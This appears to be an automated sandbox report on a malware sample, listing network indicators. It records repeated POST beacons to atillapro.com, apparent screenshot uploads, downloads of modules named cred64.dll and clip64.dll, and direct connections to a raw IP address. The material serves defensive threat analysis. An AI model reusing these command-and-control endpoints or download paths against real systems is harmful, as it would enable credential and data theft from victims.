Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5Nzg=Host: atillapro.comContent-Length: 98130Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5Nzg=Host: atillapro.comContent-Length: 98130Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----MTA0MDM0Host: atillapro.comContent-Length: 104186Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTgzMDk=Host: atillapro.comContent-Length: 98461Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTgyODM=Host: atillapro.comContent-Length: 98435Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: SIMPLECARRER2IT SIMPLECARRER2IT
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://igyfstwj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 305Host: atillapro.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://hqbdcesc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 249Host: atillapro.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://wtjwgbwnjj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 313Host: atillapro.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://thjtogm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 340Host: atillapro.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://bnusfkiucs.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 328Host: atillapro.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://atillapro.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 4431Host: atillapro.com
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F121BC WSARecv, 2_3_00007DF486F121BC
Source: global traffic HTTP traffic detected: GET /vsdjcn3khS/Plugins/cred64.dll HTTP/1.1Host: atillapro.com
Source: global traffic HTTP traffic detected: GET /vsdjcn3khS/Plugins/clip64.dll HTTP/1.1Host: atillapro.com
Source: unknown DNS traffic detected: queries for: atillapro.com
Source: unknown HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://igyfstwj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 305Host: atillapro.com
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 09 Apr 2024 12:54:00 GMTServer: Apache/2.4.41 (Ubuntu)Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 36 31 62 33 39 0d 0a 6a 00 00 00 b8 28 14 57 2d e6 eb 90 4b eb f7 84 fc 11 c5 0d 74 dc f3 21 b8 df 7a cd 44 92 db 0b c4 43 88 88 d1 dd 2c 8c f8 94 3c 5a 0f 2b 88 fe 76 12 7f c0 09 1a e7 30 0b 48 62 37 bf 2a 3f be a4 73 e2 69 56 4e f4 7e 4c 81 65 4d 7c 56 1f 60 69 bb f3 0b c9 04 19 18 71 dc bd 82 9e 13 43 0c 10 a2 62 5b 67 25 8b ad cc 2b e9 7c 6d 70 00 ca 1a 06 00 1e 14 5a 68 09 09 06 00 09 00 9e 03 00 00 c9 af 4b 06 fd b7 e4 cf 75 1b fc fb 41 03 50 00 0d 86 9d 19 b2 92 4f 19 b2 66 40 79 bf 3c e0 e9 a8 07 97 29 55 ed 4f 8a 5d 83 99 58 79 32 ff 29 50 7a 91 ac 48 c1 33 62 c9 4e a5 df a2 8f 11 d8 b8 ec 45 8e 46 e1 7e 91 7f 98 62 f6 28 fe b2 ef da d8 10 c5 ff 00 0e 53 22 7c a0 e3 92 a3 70 fd 5d 0f 52 61 f9 c4 d2 17 e6 bc 78 13 d6 a5 